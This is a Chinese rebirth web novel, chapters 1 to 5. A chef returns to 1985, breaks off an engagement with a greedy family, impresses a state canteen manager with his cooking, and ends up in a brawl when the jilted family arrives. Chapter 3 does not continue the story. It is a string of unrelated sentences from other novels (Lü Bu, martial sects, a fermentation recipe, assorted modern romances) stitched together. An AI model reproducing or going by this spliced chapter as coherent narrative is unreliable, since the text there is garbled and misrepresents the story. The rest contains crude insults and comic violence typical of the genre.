《年代:国营饭店当总厨,退婚女友找上门》
第1章 给她憋坨大的
85年深秋,某日黄昏,临县破旧的站台,一列绿皮火车缓缓停下。
黎军一身墨绿色军装,背着简单的行礼,有些懵逼地跟着人流下车。
他是列车员费了九牛二虎之力才叫醒的,睁眼后发现自己居然回到四十年前,也就是他转业返乡的时候。
站在清冷的月台上,四十年的记忆如幻灯片一样在脑海里翻过。
画面逐渐清晰,转业那年,自己在相同的地方下车,同样的月台,同样破烂的候车室……坑洼不平的水泥路面,萧瑟的秋风……
“老黎家的小子?”
一个腋下夹着麻袋的老汉看着黎军问道。
“你是钟大爷?”
“哈哈哈,亏你小子还认得爷,这是复员了?”
黎军看了看自己的军装,确定自己是真的回到四十年前了。
“钟大爷,我转业了,你这是干嘛?”
“你忘了爷在车站拉蜂窝煤呢,走,爷捎你回去。”
黎军这才想起,眼前的钟大爷在煤场赶马车,给人送蜂窝煤的。
“嗯嗯,谢钟大爷。”
所有的一切都没变,唯独这具身体多了近四十年的记忆。
“专门回来结婚的吧?”
回村的马车上,钟大爷随口问道。
“呵呵……恐怕结不成了。”
上一次转业回来就是为了结婚,结果准丈母娘张着血盆大口,要了两千块彩礼。
那年头农村人刚解决温饱问题,正常情况,彩礼都不过百八十块,超过两百那都是大款万元户之类。
黎军八年的转业费全给了对方不说,亲戚邻里都借遍了,为此两亲家也装下了矛盾。
娶了个扶弟魔老婆,婚后日子过得一地鸡毛,父母兄弟姐妹也跟着遭老罪,后来没几年就分道扬镳……
想到以前的种种,再看看现在的自己,黎军突然雄心万丈起来,既然老天给了重来一次的机会,他要弥补所有遗憾……
“听你爷说你在部队专门给领导们做饭?”
黎军点头:“也不是专给领导做,那是军区招待所,也接待外宾……”
前世他做了八年炊事员,转业后做到烹饪界国手级大师,退休后返聘在某星级酒店做行政主厨,他最后的记忆就停留在烟熏火燎的后厨中……
马车到村头时,天色已经黢黑,黎军迫不及待往家赶。
上一世父母在他四十多岁先后离世,算起来也有二十多年未见了。
“爸……妈……”
进门后,他有些哽咽地呼唤母亲,这是真正意义上的失而复得,跨越二十年时空的呼唤。
少顷,梦中熟悉的身影出现在正屋门口,黎军瞬间代入到四十年前的那个晚上,眼睛鼻子一酸,泪水夺眶而出。
“爸、妈……”
多少次梦里,他呼唤过这两个熟悉的身影,醒来后却是泪水湿巾。
“二十多年了,你们可想死儿子了。”
一把抱住二老,黎军情不自禁道。
黎母黎父面面相觑,尤其是黎母,伸手在儿子额头摸了下。
“哎吆,这也不烧啊,回来太晚,撞上不干净东西了?”
黎父没好气一把推开儿子:“去去去,一边去,肉麻死了!”
熟悉,太熟悉了,还是那个味。
黎军赶忙擦了擦泪水,准备仔细再打量一下二老。
“这怎么还演上了,尿水子都出来了,不会真的撞邪了吧?”
黎父发现这货满脸泪水,禁不住狐疑地看向老婆。
“要不叫二婶来给叫个魂?”
黎军嘴角直抽搐,二婶是村里的神婆子,那时候农村人比较信这个。
“嘿嘿……妈,我没事,就是一年不见,太想你们了。”
黎军知道自己演大劲了,上一世的去年他休过探亲假,一年不见激动成这样,父母难免疑惑。
一听这贱笑,黎母松了口气:“听这贱兮兮的声音就没毛病,是老娘的亲儿子,你吃了没?”
“没呢,想着吃老妈的油泼面,火车上就没吃。”
“妈,我去擀面,你们跟哥说话。”
妹妹黎英也出来了,然后就是弟弟黎强,一家人除了出门的大姐,瞬间就团圆了,某人那个满足啊!
吃完饭,一家人围坐在一起,说起黎家眼下最大的问题。
就是未来亲家,要了两千块彩礼的事情。
“华家人太过分了,简直是腚眼子嗑瓜子,也张得开这血盆大嘴,两千块彩礼,穷疯了吧!”
“不会是觉得爷爷有退休金,故意狮子大张口的吧!”
弟弟妹妹先开第一炮。
父母都看向黎军。
“儿子,你转业费有多少,家里攒了六百多,你爷爷的工资咱们不能指望,你爸弟兄四个,都要他接济呢,估计也攒不下啥钱。”
黎军重活一世,通透得不要不要的,为了一个扶弟魔老婆,把一家人都逼上绝路的事,这次打死他也做不出来。
“爸、妈,这婚事我不打算要了,华家就是个无底洞,这几年把我们家都快薅秃了,明天我就过去退了这门亲事。”
看着一家人明显松了口气的样子,黎军就恨不得给自己俩大逼兜子,觉得自己前世可能没带脑子来的,为了一个扶弟魔老婆,把一家人祸害得那叫一个惨。
“对了儿子,你转业到哪里了?”
黎父本就不看好这门亲事,听到儿子不打算要了,干脆连演都懒得演了。
“国营二食堂,我是做炊事员的,部队考虑了我的情况,直接安排到那儿了,明早我先去老华家,给她憋坨大的,然后就去报道归档。”
“二食堂也不错,农村人弄个八大员工作知足了,八年兵不白当。”
那年头有个正式工作都是令人羡慕的事,旱涝保收,娶媳妇也要容易得多。
第二天,五公里外的华家庄,村外小山坡,黎军和华妮娜迎着夕阳说话。
“你说什么,你要退婚,你怎么可以这样,我妈养我这么大,多要点彩礼怎么啦,为一点钱你就要退婚?”
华妮娜听说黎军要退婚,俏丽的小脸都扭曲变形了。
“一点,你妈那是多要一点吗,两千块,别人家都能娶十个老婆了。”
黎军语气平淡,经历过一世,只过了几年的夫妻,还把一家人搞得鸡犬不宁,现在他半只眼睛也不想看见这女人。
“黎军,你是不是看上别的女人了?”
华妮娜脸色阴沉,都要滴出水了。
“看上别的女人,那是以后的事情。”
黎军心里想笑,看上别的女人,这是必须的啊,自己总不能一棵歪脖树吊死,重活一世,他的想法多了去了。
“你不能这样,你不能爱上别人。”
华妮娜都要疯了。
“呵呵,我为什么不能,别胡搅蛮缠了,你在村里问问去,谁家能一次性拿出两千块,反正我家是拿不出来这么多钱。”
“你家怎么可能没钱,你八年的转业费有一千多吧,你爷爷是老红军,工资一个月一百多,你又是长孙,结婚这么大事,他不可能不出钱吧?”
女人歇斯底里,扭曲的眼睛通红。
黎军都被气笑了。
“我爷的钱跟我有啥关系,转业费是我当兵八年的回报,跟你又有啥关系,对了,听说你两个兄弟要进机械厂当工人了,这工作买来也不便宜吧?”
前世结婚后他才知道,出的彩礼都被华父用来给两个儿子买工作了,陪嫁啥的毛都没有,自己活脱就是个大冤种。
华妮娜愣神了瞬间,这事目前只有她家人知道,黎军哪里听来的消息。
不过眼下不是纠结这事的时候,这婚要是黄了,她爸拿什么给弟弟买工作去。
于是心念一动,楚楚可怜道:“军哥,你不喜欢我了吗,不爱我了吗,两个兄弟是我爸妈的心病,有了工作,他们就有了自己小日子,也就不会拖累我们了……”
哎呀,这算盘打的,当老子是瓜皮二百五吗?
黎军一阵恶寒,转身就走。
“咱们好说好散,以前借给你的那些钱,我就当是扶贫救灾了……以后老子不伺候了!”
华妮娜慌神了,小脚狠狠地跺在地上:“不行,我不同意,黎军你回来,站住,你个王八蛋……”
“你不同意,你算个屁。”
华妮娜何止凌乱,感觉天旋地转了都。
回到家,父母一听要退婚,心肝脾肺肾都不好了。
“退婚,说的容易,耽误我闺女七八年怎么说?”
“就是,他凭什么退婚,就因为一点彩礼吗,华龙、华虎,我们找他去?”
华父说着就招呼两个虎子下炕……
国营二食堂,经理刘小福最近有点头大。
随着改革深入,经济复苏,老百姓手里的钱慢慢活泛了,食堂的生意也开始火爆起来。
临县国营饮食公司,下辖三个食堂一个甜食店,一个水晶饼厂,目前就他领导的二食堂生意不景气,为此他没少被领导批评。
他也有些无语,好厨子都给一食堂和三食堂挖去了,他拿什么跟人家竞争。
那年头许多手艺靠的是口口相传,言传身教,再经历无数岁月打磨才能出师。
而厨子更是个讲究沉淀的职业,没有岁月的打磨,好手艺根本无从谈起。
刘小福那个愁啊!
第2章 黎大师
就在刘小福抓耳挠腮的时候,经理室门被人敲响。
“谁呀?”
一个服务员推门进来:“刘经理,来了个转业军人,是个炊事员,拿着部队的介绍信。”
“都这样子了,还往这塞人,拿什么开工资呢!”
刘小福发着牢骚起身,二食堂几个月都没发奖金了,再塞人恐怕连基本工资都发不出来了。
来到前厅,刘小福就看见一个身穿军装的高大年轻人,站在墙壁的菜单前打量。
那时候国营食堂的菜单都是写在墙上的,毕竟物资匮乏,品类不多。
“同志,你就是转业来的炊事员?”
“是……”
黎军一个立正,这才想起自己已经转业,于是尬笑着递过去介绍信,转业证明。
“你好,我叫黎军,这是部队的介绍信。”
以他烹饪界国手级大师水平,小县城这种饭店,根本不是他的菜。
奈何这时候物资相对短缺,内地更是匮乏的过分。
刚才观看墙上的菜单,都是一些川陕家常菜,对他来说根本没啥挑战性。
而且他知道,二食堂一直被挤兑,是临县最早对外承包的国营食堂。
他看中的是国营食堂的场地,楼上楼下里里外外不下两千平米。
那时候国有企业的烂摊子承包给私人后,房租都是免费的,只需要负担数量不等的人工工资就行。
前世黎军在这里做到89年,因为家里一地鸡毛,也没心情做事。
二食堂后来没人接手,场地承包给一个痞子做录像厅,再后来痞子被抓,场地闲置了好几年都无人问津。
刘小福看完介绍信,才对黎军有了一点兴趣。
“你是大厨,擅长什么菜系,介意露两手吗?”
厨子是个拼实力的差使,没有过硬的手艺,说得天花乱坠毛用没有。
刘小福的意思就是先试菜,这在餐饮行业是个习惯。
“川、粤、鲁系擅长,闽湘淮阳精通,本帮菜知道点皮毛,西餐也有涉猎。”
黎军很谦虚地说道。
刘小福翻了个白眼:“嘿,好家伙,八大菜系你懂了六系,还懂西餐和本帮菜,属喇叭的吗,这么能吹!”
几个坐在休息区的老员工和服务员都是一阵唏嘘。
见过能吹的,还没见过飞起来吹的。
正常情况,一个厨师是不可能精通数个菜系的,贪多嚼不烂吗,但是做菜这玩意受天赋、喜好以及见识影响。
正好这几样黎军都占了,喜欢做菜又有天赋,跟过邮轮,去过法国土耳其等烹饪大国,见多识广,跟国内数位烹饪顶流大佬都有交集。
这也造就了他无与伦比的超高烹饪手艺,数次受邀某大型综艺栏目亮相点评。
“手底下见真章咋样,相信偌大的国营饮食公司,识货的一定不会少吧?”
刘小福点头,老话说得好,是骡子是马拉出来遛遛。
“老史,你安排给他配菜,正好午饭不用做了,那个小张,你给……黎师傅拿件大褂。”
听说老史(屎),黎军看向那个中年厨子:一个厨子,瞅瞅你这姓,难怪生意不咋滴。
要说试菜,餐饮业几乎就离不开土豆丝,鱼香肉丝,麻婆豆腐,酱爆鸡丁,糖醋里脊这些家常菜,一来可以展示刀功,二来考验复合味型的熟练程度,其次就是火功锅气运用情况。
二食堂试菜也不例外,史师傅给安排了四凉四热八个菜。因为刘小福是淮安人,他特意安排了一个文思豆腐。
史建军也是部队转业回来的炊事员,不过他是实打实的二把刀,做个大锅菜还凑合事,饭店这种小炒就差了太多意思。
黎军换上白大褂,从土豆丝开始切配,只一盘土豆丝切完,所有人都不再怀疑了。
清一色火柴棍粗细,挑也挑不出一根异样的。
做过厨子的都知道,刀功玩的就是熟能生巧,这玩意你不切个几吨土豆子根本就无从谈起。
切肉丝更是惊掉一地下巴,小刀玩得跟翻花似的,三刀一顿一气呵成,全程节奏感超强,肉丝更是整齐划一跟练兵一样。
腌肉手法纯熟,葱姜水玩得超溜,鸡丁、肉丝上劲溜滑,为接下来的上锅烹饪打好基础。
糖醋里脊作为简单的传统菜,腌肉挂糊一点也不差事,不过这里调制全蛋糊的时候,黎军往里边加了点小苏打和清油,让几个老厨子有点看不明白。
有道是行家一伸手,便知有没有。
文思豆腐是个淮扬菜中的经典名菜,对刀功要求极为苛刻,水嫩的南豆腐需要切成头发一样的细丝,还不能断,没有数年切配功夫打磨,根本不敢伸手,因为翻车丢人的概率太大。
刘小福瞪大眼珠子:“卧槽,真是没有对比就没有伤害啊,老史,跟你的徒弟们看看,你们以前切的那就是一坨屎。”
史建军脸黑:“刘经理,一会你还吃不吃了,老史就是个二把刀,拿什么跟科班的比画。”
菜还没炒,刘小福就已经服了。
这时几个服务员也围在后厨门口观望,新人试菜,她们就看个乐子。
关键是这新来的看起来高大英武,还是个正式厨子。
服务员虽说也是正式工,但是却没有技术含量,跟真正的技术工种地位悬殊。
“哇……这新来的好有型啊!”
“高大威猛,你看那眼神,有点酷酷的忧伤感,真是爱了爱了。”
“牛小燕,你这是犯花痴了吧,这就爱了。”
后厨几个小年轻表示,扎心了啊!
炉子上的黎军却听得极为满足,跟华家退婚的事情直接被屏蔽。
这年代全国上下使的都是煤炭炉子,火力超旺,对旺火速成的菜肴更加友好。
起火烧油,滑锅润锅,一套操作行云流水,潇洒骚气,一群老员工下巴都掉了。
原来炒菜也有这么高的观赏性啊!
一群原班人马彻底沦为井底之蛙,在刘经理颇为幽怨的眼神中,承担了二食堂生意不好的所有负面因素。
文思豆腐看似简单,但是吊汤却不容易,正常需要火腿骨,肘子,老母鸡,老番鸭棒子骨等食材文火慢炖五六个小时以上。
豆腐丝还需配上火腿丝,香菇丝,冬笋细丝等食材,成菜汤清味浓,回味悠长。用简单食材烹饪出绝佳美味,是华夏美食文化的精髓。
因为是试菜,食堂并没有这么多食材制作高汤,再说时间也来不及。
黎军将两个鸡腿和肘子剁碎,放在锅里煮了一会捞出,然后又剁了一些鸡蓉撒进锅里提纯清汤,反复几次,就得到一锅清亮亮的靓汤,文思豆腐的汤底即成。
史建军虽然手艺不咋滴,却是识货的,此刻看着文思豆腐出锅,眼珠子都要飞了。
黎军看着年龄不大,手艺却这么精湛,这几个菜不仅有川菜、淮扬菜,还有鲁菜,现在还没吃,单是看卖相都足以亮瞎一圈人的钛合金狗眼。
“好……鼓掌”
刘小福率先鼓掌。
黎军解下围裙:“刘经理,先别忙着鼓掌,口味才是关键,能不能留住顾客,菜肴品质才是硬道理。”
“对对对,小刘上菜,咱们直接开饭,顺便品尝李大师的手艺。”
称呼直接就改了,原来的老员工也是一阵无语,这说明什么,经理眼中,他们都是废柴呗!
第3章 未来拆一代
吕布见状,心里可着急坏了,好不容易才把她哄好了,若是再失去了希望,说不准会自寻短见呀!想到这里的时候,吕布只好发挥自己的特长了。
为了发酵均匀,每天需用干净的擀面杖搅拌一次,若在阳光充足的季节,半个月左右便可食用。
不仅仅是王匡等新投靠过来的将领们,还有虎噬军,圆月教等高层,一个个着急忙慌的冲了过去。
不知何时,这一轮金灿灿的青天大日悄悄地在天穹之上移动,刺目的阳光透过竹屋里窗户间的缝隙,投入屋内,洒落于那倒在床上的少年脸上。
唐汐月点点头,“那很好,我想我的副总经理明天会上来专门和你们签订合同,谢谢夏氏的慷慨!”这种送上门白给钱的生意,唐汐月绝对要好好谢谢人家。
林静怡现在没用得就像是个从未修炼过的普通人,不仅帮不了她,还会拖她的后腿。
“当然是你回家跟这件事的关系喽。”潘进忠一副你敢继续忽悠我就揍你的神情。
“对了,看完记得放到嫁妆箱子里,这也是陪嫁,压在最底下,别忘记。”余何氏停顿了片刻,交代完出去了。
吴警察见状之后,脸色铁青,他和刘队长之间的不和,整个警局都知道。
第一天做生意,总要给大家说说,起码也要让人放心,王奶奶他们可都担心着呢。
这些天都过来了,叶枫这会已经在想着如果明天他们真的从这个空间出去的话,那他们到时候究竟该怎么回来呢。
林若雪这才收回目光,看向超市那边,她的那些朋友们,还在那里叽叽喳喳滴,也不知道到底在议论着什么。
九阴大神,一听这话完蛋了,他内心只有一个想法,那就是洪荒,谁又要倒霉了,谁又要莫名其妙的消失死掉了。
威胁,叶拂衣这是对叶涟漪赤裸裸的威胁。只要她想告状,那她不介意帮她一把直接将叶德海给气死。
在这黑暗之中用这一双双发绿的眼睛上下跳动,望着外面推进的诸天万族召唤兽。
萧御焱并不喜欢悲欢离合的情绪,那对他而言太过煽情了,人若在,那便趁着还在时抓紧抓牢莫留遗憾,人若不在,那便让其离去得安心不必依依不舍念念不忘。
当然,他们就是真的这么学了,用他们的口水酿造的酒,肯定不会好喝。
噔噔噔后退几步,那人顶到墙边,正要出招,没想到蒲庆龄那边再出异状。
不知道到底是什么原因,也许是心里一直没有停下的悸动,也许是那种追寻超凡力量的中二想法。
“违背了主人意愿的棋子,有存在的必要么?”夜澈轻声疑惑地问。
莫凡只感觉到自己眼前的光芒瞬间一闪,接着便看到个巨大无比的大转盘出现在了自己的面前。
在此之前,锦衣卫更多的都是处理朝廷之上的异己,又或是日月神教,很少对其他门派动手。江湖中人,虽对锦衣卫的行事作风大为鄙夷,但毕竟还未波及到他们自身,故都并太过放在心上。
“嗷……”阵阵惊天的咆哮声响起,黑虎王自然不会有分毫退让,尖锐的利齿,锋利的四爪,钢鞭般的虎尾,都是它最凌厉的武器,每一击之下,都是威势无匹,使得谢无忌不得不全力应对。
就在这时,伴着一声山崩地裂的嘶吼声,不远处黑云密布,向着林晨等人休息的方向扑来。
怜星的娇躯也微微有些颤抖,很显然听到程峰这些话,心里颇为感触。
姜燕看到王梦琪被摩托机车拽着往前冲,顿时吓的尖叫出声,生怕她的手臂会被飞车党拽伤。
听到徐翔的狠话,秦凡眼眸一冷,脸上浮现出一抹森然杀意。家人是秦凡的逆鳞,谁敢威胁他的家人,就是不死不休。
当这句话落下的时候,李梦幻的手臂无力的垂下,她闭上了双眼,心满意足的躺在了项宇的怀中。
李永乐的话,让四周剩余围观的人震惊不已,这尼玛也太败家了,回答一个问题就给一百万。
车刚一停好,王老板便第一个跳下车来,笑着跟梁飞打着哈哈道。
“来得好。”杀得兴起,此时吕布也忘了他正充当开路先锋之职,打马向着两人奔来的方向迎了上去。
下午,北城仍旧被石砲轰击,燕北部下管亥率三千卒自西城试图登城,但曹仁守备精悍,双方在城上互有死伤,旋即退军。燕北派人在城外推起三丈高的望台与相近十几座两丈高射台。
觉慧谢过后,随着那弟子走进了嵩山派的正殿,左冷禅正在与徐达、熊光、吕志等人在商议着什么。
“这个气息……似乎也是克苏的子嗣。”直到对方恢复自身的形态,白才终于真正感应到对方的气息。跟之前那两只制造幻境的家伙气息类似,但又有所不同。
第4章 卑劣成性
一溜烟赶到家,黎军把自行车往门外秸秆堆里一扔,撒丫子就进了院子。
“爸、妈……”
他怕家里出事,声音都突突了。
重活一世,还没来得及孝敬父母,怎么能容忍他们出意外。
黎母从正屋出来,系着围裙,双手上还带着面粉。
“你个臭小子鬼叫啥呢,今天去试菜咋样了?”
黎军心头一松,看老妈的样子,应该是没啥事。
“哦,厨房里的事,对你儿子来说就不是事,我听村头张大爷和六姑婆说,华家人今天来闹腾了?”
说到这个,黎母脸色顿时就垮了。
“你跟华妮娜说清楚了没?那爷仨今天真的来了,脸色跟吃了屎一样难看。”
“说……清楚了吧,最后她逼逼啥我没听清楚,反正我是不会再要她了。”
黎军不太确定,他撒丫子之后,好像听到华妮娜说了些什么。
“你个白痴玩意,华家儿子说,你把他们姐姐哪个了,这事不能就这么算了。”
黎军听得有点懵:“老妈,你说的哪个是那个,我咋听不明白呢!”
黎母板着脸:“你个讨债的货,跟你妈这里装啥,你到底有没有祸祸人家。”
有点尴尬了,那女人鬼得很,最后一道防线寸步不让,他努力了数次都没有得手。
现在想来,以前华妮娜的坚守,其实是没有在他身上榨取到足够的利益而已。
“嘿嘿嘿……你儿子本事不行,还没得手呢!”
黎母似乎是松了口气,在当时的农村,这种事一旦越过红线,不出点血就别想干出身,严重的,给你整个啥啥妇女的罪名都有可能。
“球本事不佳,满脸的疙瘩,跟你爸一样,没用的货。”
某人一脑门黑线:“不是吧……妈,我怎么感觉你一脸嫌弃呢,你是想我祸害人家呢还是想我祸害人家,你这可是教唆儿子犯错呢?”
黎母尴尬打岔:“少臭贫了,你自行车呢?”
“门外呢,华家人最后说啥了,没说啥难听话吧?”
“那倒没有,家里就你妈一个人,他能说啥,不过看那样子,估计晚上还得再来,你得有点思想准备啊!”
黎母说着进了厨房,临进门时突然回头:“要不然给你几个堂弟打个招呼,那个华虎今天可是带了根大木棒子的。”
黎军一脸不屑:“那华家父子是白痴二百五吗,拿着家伙式来咱家,是想说事呢还是想作死呢?
时间回到昨晚,华老三当时就要带着两个虎子前去黎家理论,却被华妮娜拦下,说天太晚了明天再去,哪有半夜去说事的道理。
对黎军她是有几分真感情的,两个人从上小学到初中毕业都是同学,属于日久生情那种。
华家以前成分不好,日子过得紧巴巴的,直到闺女成人,谈了个老革命的后代,才算是看到了希望,为此恨不得马上就把闺女嫁过去,以彻底改变他们的困境。
黎军参军入伍,打断了华家人布局,不过黎家人知道儿子的心思,对华家也多有照拂。
每次黎军探亲回来,登门华家,好烟好酒鸡鸭鱼肉,自是不能少了。
华妮娜被父母撺掇,也多次伸手向黎家求助,黎家也从来没有拒绝过。
有道是欲壑难填,黎家的大气豁达让华家人滋生出一种优越,卑劣的行为变得理所当然起来。
从一年前订婚后,这种伸手行为就变本加厉。
任何一种卑劣,养成习惯就变得极其可怕,如同卑微一样,时间久了,膝盖和脊梁就会不自觉地弯曲。
黎军退婚让华父华母直接惊了,尤其是华父,他可是计划好了,两千块的彩礼,给两个儿子买了机械厂的工作后,还能结余三四百块,大儿子的彩礼婚房都不用愁了。
华妮娜轻声啜泣:“都怨你们,两千块彩礼,也不嫌夯口,黎军他们家能不炸锅吗?”
华母恨铁不成钢地给了闺女额头一杵子。
“你这丫头心眼是长死了吗,他家有的是钱,两千块就不是事,这时候不多要点,等你们结婚了要啊,那时候媳妇娶到家里,谁还管你娘家人死活。”
华妮娜面露委屈,这几年家里日子好过点,还不都是占了黎家的光,老妈凭什么说自己。
华龙、华虎哥俩当时就不乐意了,姐姐这婚要是退了,他俩的工作铁定泡汤,他家可没有这么多钱买工作,没了工作,老婆就更不用想了呗。
“姐,你怎么能同意他退婚呢!”
“就是啊,要退婚也是我们提出来。”
华妮娜瞪了两个弟弟一眼:“两个蠢货,这是我想的吗?”
“你也闭嘴,都不是成器的玩意,他说退婚就退婚,你七八年的时间都耽搁了,他们黎家不给个说法,绝不能就这么算了。”
马翠花不可能答应。
华妮娜自己觉得老妈的话有问题,七八年前她才十五六岁,谈婚论嫁不嫌太早了点吗?
于是爷仨一大早直奔黎家讨要说法。
都是农村人,华父可以说非常了解黎家,他们丢不起这人。
华虎进村时,从村口捡了根大木棒子,到黎家时,被华父看见臭骂了一顿,让把木棍丢了,这二儿子简直缺心眼。
不过这一幕正好被村民看见,于是就传进了黎母的耳中。
黎军听到老妈的话不以为意,他八年兵可不是白当的,动手的话他根本不怵华家父子。
吃晚饭的时候,黎父和二儿子黎强一起回来,他们父子在县城找了点活,给一家要结婚的人打几样家具。
桌子上放着四盘菜,红烧肉和腊牛肉,蒜苗炒鸡蛋以及大白菜炖豆腐。
黎强一看,顿时两眼放光:“还得是我哥回来,这红烧肉和腊牛肉可是过年才能吃上的好东西,看着就让人眼馋。”
黎父也笑着坐下来,大儿子退掉那门糟心的婚事,他今天心情一直都很美丽。
黎母将蒸好的大馒头放在桌上:“赶紧吃,一会那家人该来了。”
黎强疑惑:“妈、你说谁该来了,要不我去关上大门?”
这么硬的菜,关上门吃没毛病。
那年头生活都不宽裕,万一碰上个没眼力见的,让吃心里不得劲,不让吃显得自家没礼数。
“关个屁的门,华家人一大早就来了。”
黎母坐下说道。
看着老婆一脸官司,黎父突然觉得桌子上的红烧肉都不香了,华家人来肯定没憋好屁。
“听六姑婆说,那华虎还带着家伙式来的。”
黎军看着老妈,有些大无语:老妈这绝对是故意的,纯粹就是给老爸添堵,没看见他都没胃口了吗?
“哎呀,给他华家人惯出毛病了,一家人都是窝头跺三脚,没一个好饼,来了看我给他们打出屎来。”
黎母用筷子敲了一下小儿子脑袋:“好好说话,吃饭呢!”
黎军笑道:“我说妈,你还知道吃饭呢,瞧你给我爸说的,那脸都快哭了!”
转头又对黎父道:“老爸,吃你的饭,万事有我,咱家又没有对不起他家,要是真的掰扯起来,也只有他们欠咱家的。”
“哎,就怕他们胡搅蛮缠,让村里人咋看咱们,丢人啊!”
黎父有些木讷道。
“嗨,别计较这个,活在他人眼里,就得死在他们嘴里,做好自己就行了!”
黎军的浑不在意让爸妈有些愕然,似乎这货变得有点不一样了。
“亲家、亲家母……”
就在这时,大门外响起马翠花的声音。
华老三果然带着一大家子人,浩浩荡荡地来了。
两个虎子哼哈二将一样拱卫着他,同时还有两个黎军不认识的年轻人……
黎军冷笑:泥马的……来者不善啊!
第5章 他来了他来了
黎强往门外看了一眼,颇有些戏谑道:“哎呀,他来了他来了,带着欠扁的一家人赶来了……
“吃个饭也不得消停。”
黎父表情有些紧张,自家提出退婚这事,在他看来还是不占理的。
黎母凑到黎军耳边:“给你二爸说了没?”
“放心,按照我跟你说好的,万一他们耍横动手,你跟我爸躲远点,我跟强子吃不了亏。”
黎军胸有成竹。
“她姨,他叔,吃了没,以后可别这样子叫了,黎军不是已经跟妮娜说清楚了吗,咱们两家的婚约取消了?”
黎母勉强挤出一丝笑脸。
有道是伸手不打笑脸人,马翠花陪着笑开口,她总不能直接给撵出去。
不过她也没把人往里让,就堵在正屋门口。
华老三今天回去跟家人商量过,觉得这事不能硬来,说出去不好听,哪有上赶着把闺女嫁人的,所以晚上带了华母一起来说事。
两个黎家不认识的年轻人,是马翠花的娘家侄子,正好来串门,顺便跟着过来造势的,毕竟这是在别人村里。
华家几兄弟都看着桌子上的红烧肉和腊牛肉,口水都要忍不住了,心想黎家这是什么日子,红烧肉腊牛肉用大盆造。
“亲家母,孩子们的事,还得我们大人做主,哪能由着他们的性子来,你说是不?”
马翠花讪笑着。
黎母冷笑:“是什么呀,两千块钱彩礼,可是你说的,都是农村人,在土里刨食,你家没有的,凭什么我家就有。”
“彩礼的事还可以商量吗,两个孩子感情这么好,你就忍心把他们拆开。”
华母腆着脸道。
黎军站出来挡在老妈面前,对着华老三两口子道:“要拆开我们的是你,昨天我跟妮娜已经说清楚了,我们的问题不是彩礼,而是两家人根本走不到一起。”
华母:“……怎么就走不到一起了,以前咱们相处得不是挺好吗?”
“那是以前,你自我感觉良好罢了,自打订了婚,你家这事就一出接着一出,我是娶华妮娜不是你们全家,你们请回吧,以前借给你家的,我们也不要了。”
黎军不想废话,没啥可说的。
华老三看向黎父:“亲家,有事好商量吗,你觉得不合适,咱们接着商量呗。”
黎父嘴上说:“这事得听孩子的,毕竟是他们一起过日子,我不掺和他们的事情。
心里腹诽:我跟你商量个嘚,贪得无厌的玩意。
“别在那腆着大逼脸叭叭了,眉毛以下全是嘴的玩意。
你们华家这几年粘我家的还少吗,我哥平时三五十块地没少给你们吧,真是腚沟子嗑瓜子,也张得开那嘴。”
黎强在老爸之后直接开嘴炮。
黎军都惊了,几年不跟弟弟在一起,这货嘴巴太损了。
华老三和马翠花脸都黑了:“大人说话,你个瘪犊子玩意插啥嘴!”
“说谁瘪犊子呢,你家那几个才是瘪犊子,身高一米二,屁股占一半,不嫌磕碜的东西,还敢跑到我家里嘚瑟,听说早上还带着家伙式来的,想干嘛,打人吗?”
哎呀……黎家人差点没憋住笑了,老二这嘴巴跟装了转轴一样,说得华家这还是人吗?
“小子,踏马得好好说话,小心老子废了你……”
马翠花的侄子马权利立刻不愿意了,这哪是说话呢,分明就是放屁吗。
“啪”
结果他话音落地,黎军一挥手,一个大逼兜子就甩在他脸上。
“干他,狗东西,出门裤衩子戴脑袋上了吧,跑这装逼来了。”
黎强看着解气,嘴巴更是放毒一样叭叭。
马权利懵逼了两秒,才反应过来自己这是被人打了。
“我日……”
“啪”
还没开骂,另一侧脸颊又被狠狠地扇了一记,这一记力量更大,直接把他扇得一个趔趄,脑袋狠狠地撞在马翠花脸上。
黎强见哥哥再次动手,一抬腿,四十三码大脚丫子正蹬在华虎腰胯上,这货猛地后退,一脚踩在华龙的脚指头上。
“啊”
大战一触即发,场面直接失控。
华老三和马翠花都傻眼了,怎么就打起来了,这还能挽回个毛。
于是思考了半秒后,果断冲向黎父和黎母,打算捉对对打。
吃饭的桌子都被踹翻了,几个一口没吃的菜打翻一地,看着那叫一个可惜。
黎军对上华氏兄弟,根本不是一个级别,从小练拳和八年的军体拳可不是白给的。
这哥俩没几下就被打得抱头鼠窜,哭爹喊娘。
黎强对上马家哥俩可就有些吃力了,没两个回合,被马权利一板砖拍在头顶,血呼刺啦成了个血葫芦。
一看弟弟受伤,黎军果断放弃追打的华氏兄弟,一脚踹翻拿板砖的马权利,骑在对方身上一顿爆锤。
黎强抓住机会,将剩下的马登高一个抱摔,砸在地上,大脚丫子死命招呼。
华老三和马翠花踹翻了桌子,冲到黎父黎母跟前,还没动手,这夫妻俩就找了个没菜汤的地方,直接躺那了。
华老三看得有点懵逼,自己两口子还没上手挠呢,这演的是哪出啊!
“咣当”
就在夫妻俩面面相觑的时候,黎家大门被人一脚踹开,一群人呼啦一下冲进来。
“干什么,干什么,大白天冲进人家家里行凶,还有没有王法了!”
黎忠孝一边咋咋呼呼一边指着华家人,完全没注意这是在晚上。
“把那几个外村的给老子按住。”
华老三整个人都不好了,黎忠孝是大队的治保主任,也就是黎军的三爸。
紧跟着还有几个公安也进了院子,不由分说将华家所有人都控制起来。
马翠花肝都颤了,上门挽回闺女的婚事,居然演变成了这幅模样。
再一看自己的两个侄子,她悔得肠子都青了。
之前他俩看红烧肉吞咽口水时,她就觉得不靠谱,好好的说事你骂人家干嘛,不知道这是在人家家里吗。
黎忠孝看到躺在地上的黎父黎母:“哎呀,大哥大嫂啊,你们这是咋了,怎么就被打成这样了?”
黎强都无语了:“我说三爸,你哭错对象了好吧,没看你侄子脑袋还流血呢?”
黎忠孝扒拉了一下黎强的脑袋,看了看还流血的头顶:“你个废物点心,还站着干嘛,在自己家里还能被人打成这样,要是你爷在这,能把你打出屎来。”
黎强一听这话,瞬间会意,一头栽倒在黎父身上。
黎父心里怒骂:你个瘪犊子玩意,倒老子身上干嘛?
几个公安看的眼角直抽搐。
不过一看黎强的脑袋,差不多一寸长的大口子,直接掏出明晃晃的手铐,打算给所有华家人戴上。
“公安同志,我们这是家事啊!”
马翠花吓突突了,她见过自己公公被戴上手铐押赴刑场的场面,枪决的声音到现在还记忆犹新。
“什么家事能把人家打成这样。”
“公安同志,我们家根本不认识他们,正要吃饭呢,冲进来就打啊,简直没王法了都!”
黎军用毛巾帮弟弟捂着脑袋,一脸惊恐地给公安诉说。
